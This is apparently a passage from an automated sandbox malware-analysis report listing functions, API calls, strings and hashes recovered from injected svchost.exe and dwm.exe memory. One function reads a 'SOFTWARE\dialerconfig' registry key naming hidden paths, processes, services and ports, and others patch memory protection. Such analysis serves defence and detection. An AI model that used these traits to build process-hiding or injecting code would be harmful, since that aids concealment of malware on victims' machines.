API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 2a90534c08ec7fa08356974faa6f23fad74bcd69915b4cf882117b33a0582183
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A451E076101B88CAEB768FA994A43D87BE2F355B85F184116DA89E7FD5CB39C490CB00

Function 00000195DD598405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD598413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5984A8

Strings

csm, xrefs: 00000195DD59848E
f, xrefs: 00000195DD598426

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 545615c7cb5cd5622a5ac668a3e3931a1a855b43902fdb1261379489e8260ddb
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5F51D132701A00DBEB56CF55E464B983BEAF354BA8F548164DA1A67B88EB35D844CF04

Function 00000195DD5983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD598413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5984A8

Strings

csm, xrefs: 00000195DD59848E
f, xrefs: 00000195DD598426

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 1a57b68ce290c85dbce40ecbe3ad1d13c9711456f6542ae40eb2b2b77e126871
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 1F31DF32201B40EAE716DF61E864B997BEAF744BD8F058054EE5B67F88DB39D940CB04

Function 00000195DD5D2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000195DD5D20D7
WriteFile.KERNEL32 ref: 00000195DD5D239F
WriteFile.KERNEL32 ref: 00000195DD5D23E5
GetLastError.KERNEL32 ref: 00000195DD5D249B

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0727f7ca33ebfc9b04e52b4205dc7bd87cee8483e25baa6158969cd42837b0ef
Instruction ID: f53c85bc1b1823a42c19dddbaacf5ef3270f7fc8b13c31205dca382023514cf5
Opcode Fuzzy Hash: 0727f7ca33ebfc9b04e52b4205dc7bd87cee8483e25baa6158969cd42837b0ef
Instruction Fuzzy Hash: 84D1FE32B15A8089E712CFB9D4607EC3BF2F755BA8F008216DE5AA7F99DA34C406C350

Function 00000195DD5C14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C14C5
HeapFree.KERNEL32 ref: 00000195DD5C14D4
GetProcessHeap.KERNEL32 ref: 00000195DD5C14E1
HeapFree.KERNEL32 ref: 00000195DD5C14F0
GetProcessHeap.KERNEL32 ref: 00000195DD5C1500

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: c16a99b6eb882b57aedd9fd2cb972f0c73c4406802b17b7f20f8a29f0fc28702
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 45015A32601F99D6E705DFE6E95418A77E2FB89F81F044425EA4A63B29DE38C052C750

Function 00000195DD5D2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000195DD5D2A9C
GetLastError.KERNEL32 ref: 00000195DD5D2B27

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: e05ebd15e7bb07455586a63994cd1edc3763a212bc928c3d69a32a164f643882
Instruction ID: d41248d40368a7dadbb8de4372f2d467b08f8f1214df69f873c535610b2736e1
Opcode Fuzzy Hash: e05ebd15e7bb07455586a63994cd1edc3763a212bc928c3d69a32a164f643882
Instruction Fuzzy Hash: 1D91CE32704E5499F7629FA994A0BED3BE2F754B88F144109DE4A77F98DB74C882C720

Function 00000195DD5C7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000195DD5C798C
GetCurrentThreadId.KERNEL32 ref: 00000195DD5C799A
GetCurrentProcessId.KERNEL32 ref: 00000195DD5C79A6
QueryPerformanceCounter.KERNEL32 ref: 00000195DD5C79B6

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: ef2a4aaacd16aa62e41bbfaf996d134d739e1b6477f4088ce6822e44ce878a86
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 32113C36710F058AEB10DFA0E8643E833E4F719759F440E21DA6D96BA4DF78C1998380

Function 00000195DD5C253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000195DD5C2620
StrCpyW.SHLWAPI ref: 00000195DD5C2639

Strings

\\.\pipe\, xrefs: 00000195DD5C262B

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 4fe0687d80f5d921ad167ff7ab4ce2b7c253e02b66b61a32e3d9e8e186ab893e
Instruction ID: 4b390bd35bc8d7488896d564d2b09490878af5546f8c74a14ac6cebee34a4a91
Opcode Fuzzy Hash: 4fe0687d80f5d921ad167ff7ab4ce2b7c253e02b66b61a32e3d9e8e186ab893e
Instruction Fuzzy Hash: 9371B436301F8986E726DFAD98A47EA77D6F389B84F480026DD09A3F89DE39C545C700

Function 00000195DD599E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000195DD599EB7

Strings

RCC, xrefs: 00000195DD599E85
MOC, xrefs: 00000195DD599E7C

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 963f06e7ef80a2670a9323d7792bb0635a5f70e1dcd725eb12c0e0c54d3360cc
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: F4614636A00B84CAEB22DFA5D4903DD7BE2F349B88F045215EF4927B99DB38D595CB40

Function 00000195DD5C2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000195DD5C2416
StrCpyW.SHLWAPI ref: 00000195DD5C242D

Strings

\\.\pipe\, xrefs: 00000195DD5C2421

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 95bec47cb02d8e9bc4e84beb1c736abe046d6fad30f786d8abc3baa08d9e3a7f
Instruction ID: 6ad79f3c6496f576d1a9b3784531bf2f01e420446c3f4c2c03693f52336387d6
Opcode Fuzzy Hash: 95bec47cb02d8e9bc4e84beb1c736abe046d6fad30f786d8abc3baa08d9e3a7f
Instruction Fuzzy Hash: CB511632206B8982F736DBAEA0B87EA77D3F386740F480125DD49A3F49DA39C505C740

Function 00000195DD5D26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000195DD5D2807
GetLastError.KERNEL32 ref: 00000195DD5D2829

Strings

U, xrefs: 00000195DD5D27B3

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: bf4803890842cdcd72fcab1033f968f229dce80172f82f9c58987f86f410db74
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 3741AF32715B8482EB219FA5E8547EAA7E2F798794F504021EE4D97B98EF3CC441CB50

Function 00000195DD5C94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000195DD5C94F0
RaiseException.KERNEL32 ref: 00000195DD5C9531

Strings

csm, xrefs: 00000195DD5C951E

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: d9ae04a037fab9593d23b185716cfc6ae1853ea009b9f3fd067145c53b8789b8
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 63116A36205F8482EB228F19F450399B7E2FB88B95F584221EE8C57B68DF3CC552CB00

Function 00000195DD597356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000195DD59737C

Strings

ierarchy Descriptor', xrefs: 00000195DD597381
riptor at (, xrefs: 00000195DD597364

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 9d65062051ba8b6632479c62e9aac4e80b8205db58c6d08c9f87c8cd4192a069
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: E9E08671640F44D4DF028F61E8502D833E1DB58B64F889122995C1A311FA3CD1E9C301

Function 00000195DD5973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000195DD5973D8

Strings

riptor at (, xrefs: 00000195DD5973C0
Locator', xrefs: 00000195DD5973DD

Memory Dump Source

Source File: 00000028.00000002.3281796722.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 73069449200712f0ed9716194b398ac1fb7d2be99278163e9f3c6fe5041c0d1b
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 23E08671600F44D4DF028F61E4501D873E1E758B54F889122D94C1A311EA3CD1E5C300

Function 00000195DD5C1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C1C2D
HeapAlloc.KERNEL32 ref: 00000195DD5C1C3B
GetProcessHeap.KERNEL32 ref: 00000195DD5C1C77
HeapFree.KERNEL32 ref: 00000195DD5C1C85

Part of subcall function 00000195DD5C152C: StrCmpIW.SHLWAPI ref: 00000195DD5C155D

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: c6ff0b059641438406dd073903249133c4bef50443ea073ae8eca436ca04cd8d
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 96115135612F4881EB56DBEAE4146A977E2FB89FC0F184024DE4DA7B65DF38C452D340

Function 00000195DD5C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C126E
HeapAlloc.KERNEL32 ref: 00000195DD5C127D
GetProcessHeap.KERNEL32 ref: 00000195DD5C1297
HeapAlloc.KERNEL32 ref: 00000195DD5C12A8

Memory Dump Source

Source File: 00000028.00000002.3281930657.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 2cb59b5cb5821d9a8e55ce1da8b0343498eb188679990e79d0fc3b99dd601316
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 63E09235601A0886EB058FE2D82838A36E2FB8DF06F04C024C90907751DF7D84DAC760

Analysis Process: dwm.exePID: 992, Parent PID: 1276COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95.6%
Signature Coverage:	0%
Total number of Nodes:	135
Total number of Limit Nodes:	16

Executed Functions

Function 000001160CA41628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001160CA41633
HeapAlloc.KERNEL32 ref: 000001160CA41642

Part of subcall function 000001160CA41268: GetProcessHeap.KERNEL32 ref: 000001160CA4126E
Part of subcall function 000001160CA41268: HeapAlloc.KERNEL32 ref: 000001160CA4127D
Part of subcall function 000001160CA41268: GetProcessHeap.KERNEL32 ref: 000001160CA41297
Part of subcall function 000001160CA41268: HeapAlloc.KERNEL32 ref: 000001160CA412A8

RegOpenKeyExW.ADVAPI32 ref: 000001160CA416B2
RegOpenKeyExW.ADVAPI32 ref: 000001160CA416DF
RegCloseKey.ADVAPI32 ref: 000001160CA416F9
RegOpenKeyExW.ADVAPI32 ref: 000001160CA41719
RegCloseKey.ADVAPI32 ref: 000001160CA41734
RegOpenKeyExW.ADVAPI32 ref: 000001160CA41754
RegCloseKey.ADVAPI32 ref: 000001160CA4176F
RegOpenKeyExW.ADVAPI32 ref: 000001160CA4178F
RegCloseKey.ADVAPI32 ref: 000001160CA417AA
RegOpenKeyExW.ADVAPI32 ref: 000001160CA417CA
RegCloseKey.ADVAPI32 ref: 000001160CA417E5
RegOpenKeyExW.ADVAPI32 ref: 000001160CA41805
RegCloseKey.ADVAPI32 ref: 000001160CA41820
RegOpenKeyExW.ADVAPI32 ref: 000001160CA41840
RegCloseKey.ADVAPI32 ref: 000001160CA4185B
RegOpenKeyExW.ADVAPI32 ref: 000001160CA4187B
RegCloseKey.ADVAPI32 ref: 000001160CA41896
RegCloseKey.ADVAPI32 ref: 000001160CA418A0

Part of subcall function 000001160CA412BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001160CA41319
Part of subcall function 000001160CA412BC: GetProcessHeap.KERNEL32 ref: 000001160CA41327
Part of subcall function 000001160CA412BC: HeapAlloc.KERNEL32 ref: 000001160CA41338
Part of subcall function 000001160CA412BC: RegEnumValueW.ADVAPI32 ref: 000001160CA41397
Part of subcall function 000001160CA412BC: GetProcessHeap.KERNEL32 ref: 000001160CA413DF
Part of subcall function 000001160CA412BC: HeapAlloc.KERNEL32 ref: 000001160CA413ED
Part of subcall function 000001160CA412BC: GetProcessHeap.KERNEL32 ref: 000001160CA4140A
Part of subcall function 000001160CA412BC: HeapFree.KERNEL32 ref: 000001160CA41418
Part of subcall function 000001160CA412BC: lstrlenW.KERNEL32 ref: 000001160CA41421
Part of subcall function 000001160CA412BC: GetProcessHeap.KERNEL32 ref: 000001160CA4142F
Part of subcall function 000001160CA412BC: HeapAlloc.KERNEL32 ref: 000001160CA4143D

Strings

tcp_local, xrefs: 000001160CA417FE
tcp_remote, xrefs: 000001160CA41839
service_names, xrefs: 000001160CA417C3
SOFTWARE\dialerconfig, xrefs: 000001160CA41692
pid, xrefs: 000001160CA41712
startup, xrefs: 000001160CA416D5
udp, xrefs: 000001160CA41874
paths, xrefs: 000001160CA41788
process_names, xrefs: 000001160CA4174D

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 6161e3e51d841b3d053d37747076618646d68d4b7c54ebfdfb68af91052e3cd0
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 4371D576610B1086EB149F65E8906DD23A4FB88B99F809161FF4E97B6DEF3AC4C4C740

Function 000001160CA43790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001160CA4379E
GetCurrentProcess.KERNEL32 ref: 000001160CA437CC
VirtualProtectEx.KERNEL32 ref: 000001160CA437EE
GetCurrentProcess.KERNEL32 ref: 000001160CA43809
VirtualProtectEx.KERNEL32 ref: 000001160CA4382A

Strings

wr, xrefs: 000001160CA437FF

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: cb49a6d8150499ea34a3f095df7715ccaf74ac4ae549242de21977aa6f21db4f
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 9A115E36705B4183EF589B21F4082E9A2A0F78CB95F4440A9FF8907768EF3EC585C704

Function 000001160CA45B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CA45B6B
GetThreadContext.KERNEL32 ref: 000001160CA45CD5

Part of subcall function 000001160CA45960: GetCurrentThreadId.KERNEL32 ref: 000001160CA45964

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction ID: 8692bfab2a7213d6ae5d3640dfdc91a5e4d399c362645174dc3f24ccf36dcf03
Opcode Fuzzy Hash: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction Fuzzy Hash: 41D17576609B8886DA749B0AE49439A7BA0F7CCB84F100156EF8D47BA9DF3DC591CB40

Function 000001160CA450D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001160CA45156

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction ID: f6878b2950e9d4e6303fdb8e4c2bad55c8f75ea4604128ba6006891f042fd13a
Opcode Fuzzy Hash: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction Fuzzy Hash: C802A832619B8486EB64CB59E49479AB7A1F3C9794F104056FB8E87BA8DF7DC484CF00

Function 000001160CA439E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001160CA43A66
VirtualAlloc.KERNEL32 ref: 000001160CA43AA0

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 2ccc16f67b6c6c133aba7930fb0b1123e8ec8f16d7647dfb28198065f3b13e43
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 6131DC3225AB8885EE789A15E0553DE66A4F3CC784F500565BBCE46BACDF7FC5C08B04

Function 000001160CA4328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001160CA432AE
PathFindFileNameW.SHLWAPI ref: 000001160CA432BD

Part of subcall function 000001160CA43844: StrCmpNIW.SHLWAPI ref: 000001160CA4385C

Part of subcall function 000001160CA43790: GetModuleHandleW.KERNEL32 ref: 000001160CA4379E
Part of subcall function 000001160CA43790: GetCurrentProcess.KERNEL32 ref: 000001160CA437CC
Part of subcall function 000001160CA43790: VirtualProtectEx.KERNEL32 ref: 000001160CA437EE
Part of subcall function 000001160CA43790: GetCurrentProcess.KERNEL32 ref: 000001160CA43809
Part of subcall function 000001160CA43790: VirtualProtectEx.KERNEL32 ref: 000001160CA4382A

CreateThread.KERNEL32 ref: 000001160CA4330B

Part of subcall function 000001160CA41D14: GetCurrentThread.KERNEL32 ref: 000001160CA41D1F

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 94d573ebf81321ba0a41e2ff60e5daec1efd8109dd9d15dde734bfa4c82e53cf
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: BD11927161174186FF6C9B21F8493DA2395BBDC745F9082A4BF56816BDEF7BD0C48200

Function 000001160CA44DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001160CA44DF4
VirtualProtect.KERNEL32 ref: 000001160CA44E37
FlushInstructionCache.KERNEL32 ref: 000001160CA44E4C

Memory Dump Source

Source File: 00000029.00000002.3316848167.000001160CA40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001160CA40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca40000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction ID: b82ecec3a8b0e105f91659d87c61f8a587773f5ff2df7cd8ef6e3d7e919a64c3
Opcode Fuzzy Hash: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction Fuzzy Hash: 31F01736218B4480D6349B05E4417DAABA0E3CCBD4F144151BF8D43B6DCF3EC6C08B00

Function 000001160CA1273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001160CA127DB
LoadLibraryA.KERNELBASE ref: 000001160CA1285E

Memory Dump Source

Source File: 00000029.00000002.3316783010.000001160CA10000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001160CA10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_1160ca10000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 49a3fc0d690aa98ce44f09e4a15faa2e81cecff9995125230278b8085bbda5de
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: DD610232B0179487DB58CF5D9100BEDB3A2FB58BA4F588261EF590778CDA39D892C700

Function 000001160CA41ABC Relevance: 3.1, APIs: 2, Instructions: 68
